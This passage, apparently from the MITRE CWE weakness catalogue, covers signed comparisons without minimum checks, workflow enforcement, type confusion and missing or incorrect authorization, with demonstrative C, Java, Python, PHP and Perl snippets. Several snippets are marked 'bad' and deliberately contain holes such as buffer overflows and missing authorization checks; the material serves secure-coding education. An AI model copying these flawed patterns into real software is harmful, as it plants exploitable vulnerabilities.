MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Alternate Terms

Signed comparison : The "signed comparison" term is often used to describe when the program uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.*	
Availability	DoS: Resource Consumption (Other) *in some contexts, a negative value could lead to resource consumption.*	
Confidentiality Integrity	Modify Memory Read Memory *If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.*	

Potential Mitigations

Phase: Implementation

Strategy = Enforcement by Conversion

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size_t.

Phase: Implementation

Strategy = Input Validation

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

Demonstrative Examples

Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C *(bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C *(bad)*

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
```

```
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C *(bad)*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C *(good)*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
```

Example 4:

The following code shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java *(bad)*

```
public class BankAccount {
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {...}
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {
            double newBalance = accountBalance - withdrawAmount;
            accountBalance = newBalance;
        }
        else {
            System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");
            ...
        }
    }
    // other methods for accessing the BankAccount object
    ...
}
```

The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should the modified to include a minimum range check, as shown below.

Example Language: Java *(good)*

```
public class BankAccount {
    public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    ...
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
        withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
            ...
```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

Observed Examples

Reference	Description
CVE-2010-1866	Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1866*
CVE-2009-1099	Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1099*

Reference	Description
CVE-2011-0521	Chain: kernel's lack of a check for a negative value leads to memory corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0521*
CVE-2010-3704	Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3704*
CVE-2010-2530	Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2530*
CVE-2009-3080	Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3080*
CVE-2008-6393	chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6393*
CVE-2008-4558	chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4558*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-841: Improper Enforcement of Behavioral Workflow

Weakness ID : 841 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

Extended Description

By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.

For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer.

Note that this is different than CWE-696, which focuses on when the software performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:

- Steps are performed in the expected order.
- Required steps are not omitted.
- Steps are not interrupted.
- Steps are performed in a timely fashion.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2016
MemberOf	C	438	Behavioral Problems	1867
MemberOf	C	840	Business Logic Errors	1900

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *An attacker could cause the software to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.*	

Demonstrative Examples

Example 1:

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

Example Language: Python *(bad)*

```
def dispatchCommand(command, user, args):
    if command == 'Login':
        loginUser(args)
        return
    # user has requested a file
    if command == 'Retrieve_file':
        if authenticated(user) and ownsFile(user,args):
        sendFile(args)
        return
    if command == 'List_files':
```

```
    listFiles(args)
    return
...
```

The server correctly does not send files to a user that isn't logged in and doesnt own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.

Here is a fixed version of the above example:

Example Language: Python *(good)*

```
def dispatchCommand(command, user, args):
  ...
  if command == 'List_files':
    if authenticated(user) and ownsDirectory(user,args):
      listFiles(args)
      return
  ...
```

Observed Examples

Reference	Description
CVE-2011-0348	Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0348*
CVE-2007-3012	Attacker can access portions of a restricted page by canceling out of a dialog. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3012*
CVE-2009-5056	Ticket-tracking system does not enforce a permission setting. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-5056*
CVE-2004-2164	Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2164*
CVE-2003-0777	Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0777*
CVE-2005-3327	Chain: Authentication bypass by skipping the first startup step as required by the protocol. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3327*
CVE-2004-0829	Chain: File server crashes when sent a "find next" request without an initial "find first." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0829*
CVE-2010-2620	FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2620*
CVE-2005-3296	FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3296*

MemberOf Relationships

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	V	884	CWE Cross-section	884	2037

Notes

Research Gap

This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses. The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

CWE-842: Placement of User into Incorrect Group

Weakness ID : 842 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software or the administrator places a user into an incorrect group.

Extended Description

If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

Weakness ID : 843 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Extended Description

When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Object Type Confusion :

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Read Memory Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *When a memory buffer is accessed using the wrong type, it could read or write memory out of the bounds of the buffer, if the allocated buffer is smaller than the type that the code is attempting to access, leading to a crash and possibly code execution.*	

Demonstrative Examples

Example 1:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

Example Language: C *(bad)*

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
    int msgType;
    union {
        char *name;
        int nameID;
    };
};
int main (int argc, char **argv) {
    struct MessageBuffer buf;
    char *defaultMessage = "Hello World";
    buf.msgType = NAME_TYPE;
    buf.name = defaultMessage;
    printf("Pointer of buf.name is %p\n", buf.name);
    /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
    could be any value. */
    buf.nameID = (int)(defaultMessage + 1);
    printf("Pointer of buf.name is now %p\n", buf.name);
    if (buf.msgType == NAME_TYPE) {
        printf("Message: %s\n", buf.name);
    }
    else {
        printf("Message: Use ID %d\n", buf.nameID);
    }
}
```

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

Pointer of name is 10830
Pointer of name is now 10831
Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Example 2:

The following PHP code accepts a value, adds 5, and prints the sum.

Example Language: PHP *(bad)*

```
$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";
```

When called with the following query string:

value=123

the program calculates the sum and prints out:

SUM is 128

However, the attacker could supply a query string such as:

value[]=123

The "[]" array syntax causes $value to be treated as an array type, which then generates a fatal error when calculating $sum:

Fatal error: Unsupported operand types in program.php on line 2

Example 3:

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the $UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

Example Language: Perl *(bad)*

```
my $UserPrivilegeArray = ["user", "user", "admin", "user"];
my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
    print "Regular user!\n";
}
else {
    print "Admin!\n";
}
print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "$UserPrivilegeArray->{$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the $UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.

Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

Observed Examples

Reference	Description
CVE-2010-4577	Type confusion in CSS sequence leads to out-of-bounds read. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4577*
CVE-2011-0611	Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611*
CVE-2010-0258	Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0258*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995

Notes

Applicable Platform

This weakness is possible in any type-unsafe programming language.

Research Gap

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. This weakness seems likely to gain prominence in upcoming years. For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP39-C	Exact	Do not access a variable through a pointer of an incompatible type

CWE-862: Missing Authorization

Weakness ID : 862 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Often)*

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.*	
Integrity	Modify Application Data Modify Files or Directories *An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.*	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Scope	Impact	Likelihood
	An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.	

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

Example Language: PHP *(bad)*

```
function runEmployeeQuery($dbName, $name){
```

```
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Example Language: Perl *(bad)*

```
sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
    print "<hr>\n";
    print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168*
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597*
CVE-2009-2282	Terminal server does not check authorization for guest access. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282*
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027*

Reference	Description
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781*
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548*
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960*
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230*
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213*
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034*
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123*
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109*
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424*
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577*
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925*
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679*
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623*
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801*
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155*

CWE-863: Incorrect Authorization

Weakness ID : 863 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

